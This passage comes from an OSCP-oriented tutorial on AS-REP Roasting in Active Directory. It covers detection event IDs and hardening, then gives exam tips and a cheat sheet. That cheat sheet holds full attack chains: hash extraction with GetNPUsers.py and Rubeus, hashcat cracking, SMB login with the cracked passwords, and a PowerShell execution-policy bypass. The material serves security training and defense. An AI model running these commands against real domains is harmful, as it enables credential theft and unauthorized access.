- Set “Maximum lifetime for service ticket” appropriately.
- Create a custom GPO that restricts modification of the
userAccountControlattribute.
12.4 Monitoring and Detection
| Alert | Description | Tool |
|---|---|---|
| Unauthenticated AS-REQ | AS-REQ without preauthentication data | SIEM (Event ID 4771 on DC) |
| Multiple AS-REP requests | Same source requesting many AS-REPs | SIEM correlation rule |
| New DONT_REQ_PREAUTH | UAC flag changed to include 4194304 | SIEM (Event ID 4738) |
| AS-REP from unusual source | AS-REQ from non-domain-joined host | Network monitoring |
Key Windows Security Event IDs:
| Event ID | Description | Relevance |
|---|---|---|
| 4771 | Kerberos preauthentication failure | Direct indicator of AS-REP Roasting attempt |
| 4768 | A Kerberos TGT was requested | Normal — but monitor for volume |
| 4738 | A user account was changed | Monitor for UAC flag changes |
| 4624 | Successful logon | Correlate with AS-REP activity |
12.5 Defense Summary
| Defense | Priority | Effort | Effectiveness |
|---|---|---|---|
| Enable preauthentication | Critical | Low | 100% (eliminates the attack) |
| Regular UAC auditing | High | Medium | High (detects misconfigurations) |
| Strong passwords | High | Medium | Reduces cracking success |
| GPO enforcement | Medium | Medium | Prevents future misconfigurations |
| SIEM monitoring | Medium | High | Enables detection and response |
| Network segmentation | Low | High | Limits DC access |
13. OSCP Exam Tips
13.1 Recognition Patterns
You will know AS-REP Roasting is relevant when:
- ✅ You have no credentials but can reach a domain controller.
- ✅ You find accounts with
"DoesNotRequirePreAuth": truein enumeration output. - ✅ You see
userAccountControlvalues containing4194304(or0x400000). - ✅ A machine has a user account that seems unusual (service account, backup account, etc.).
- ✅
GetNPUsers.pyreturns results — this is the smoking gun.
13.2 Quick Attack Commands (Memorize These)
# 1. Enumerate + extract in one command (from Kali)
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile asrep_hashes.txt
# 2. Crack the hashes
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# 3. If that fails, add rules
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# 4. From Windows (if you're already on a domain-joined box)
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
13.3 Common Exam Scenarios
Scenario 1: No initial access, but network reachability to DC
→ Run GetNPUsers.py immediately. It requires zero credentials and often yields results.
Scenario 2: You have a low-privilege domain user → Run both Kerberoasting AND AS-REP Roasting. Two attacks, double the coverage.
Scenario 3: Hashcat is too slow
→ Try AES mode (19700) if the hash prefix shows $krb5asrep$17$ or $krb5asrep$18$.
→ Use a smaller, targeted wordlist if you know the password pattern.
Scenario 4: Hash won’t crack → The password may be too complex. Try:
- Custom wordlists based on domain naming conventions.
- Rule-based attacks with multiple rule files.
- Move on to other attack vectors — don’t spend all your time on one hash.
13.4 Documentation Tips
For your OSCP report, document:
- How you identified the vulnerability (enumeration commands and output).
- The exact hash extracted (redact sensitive parts if needed).
- The cracking command and result (include the recovered password).
- How you used the credentials (SMB, RDP, SSH, etc.).
- Screenshot evidence of each step.
13.5 Common Pitfalls
| Pitfall | Solution |
|---|---|
| Forgetting the domain name | Use ipconfig /all or nslookup to find it |
| Wrong Hashcat mode | Check the hash prefix: $23$ → mode 18200, $17$/$18$ → mode 19700 |
| Hashcat not finding GPU | Run hashcat --devices to verify GPU detection |
| rockyou.txt not found | Path: /usr/share/wordlists/rockyou.txt on Kali. Decompress first: unzip rockyou.txt.gz |
| Rubeus not working on Windows | May need to bypass execution policy: powershell -ep bypass |
| Confusing Kerberoasting with AS-REP | Kerberoasting = TGS (13100), AS-REP = AS (18200) |
14. Quick Reference Cheat Sheet
14.1 One-Liner Commands
# ─── FULL ATTACK CHAIN (Kali) ───
# Step 1: Extract hashes (no credentials needed)
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile asrep_hashes.txt
# Step 2: Crack (RC4)
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3
# Step 3: Crack (AES, if needed)
hashcat -m 19700 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3
# Step 4: Use credentials
smbclient //target.corp.local/C$ -U username%password
# ─── FULL ATTACK CHAIN (Windows + Rubeus) ───
# Step 1: Extract hashes
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Step 2: Copy to Kali, crack
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt -r rules/best64.rule
14.2 Hashcat Mode Quick Reference
| Hash Prefix | Hashcat Mode | Encryption |
|---|---|---|
$krb5asrep$23$ |
18200 |
RC4-HMAC |
$krb5asrep$17$ |
19700 |
AES128 |
$krb5asrep$18$ |
19700 |
AES256 |
$krb5tgs$23$ |
13100 |
RC4-HMAC (Kerberoasting) |
$krb5tgs$17/18$ |
19600 |
AES (Kerberoasting) |
14.3 Key Values to Remember
| Item | Value |
|---|---|
| DONT_REQ_PREAUTH flag | 4194304 (decimal) / 0x00400000 (hex) |
| Bit position | 22 |
| samAccountType (user) | 805306368 |
| LDAP OID (bitmask) | 1.2.840.113556.1.4.803 |
| Kerberos port | 88 (TCP/UDP) |
| Hashcat mode (RC4) | 18200 |
| Hashcat mode (AES) | 19700 |
| Event ID (preauth failure) | 4771 |
14.4 Decision Tree
Can you reach the DC on port 88?
├── YES → Run GetNPUsers.py (no creds needed)
│ ├── Hashes found? → Crack with hashcat -m 18200
│ └── No hashes? → Try Kerberoasting (need domain user)
└── NO → Find another attack vector
Appendix: References
| Resource | Description |
|---|---|
| Kerberos Protocol Specification (RFC 4120) | Official Kerberos v5 specification |
| Impacket Documentation | GetNPUsers.py reference |
| Rubeus GitHub | Rubeus source and documentation |
| Hashcat Modes | Complete hash mode reference |
| OWASP Kerberos Attacks | Security overview |
| SpecterOps AS-REP Roasting | Detailed attack writeup |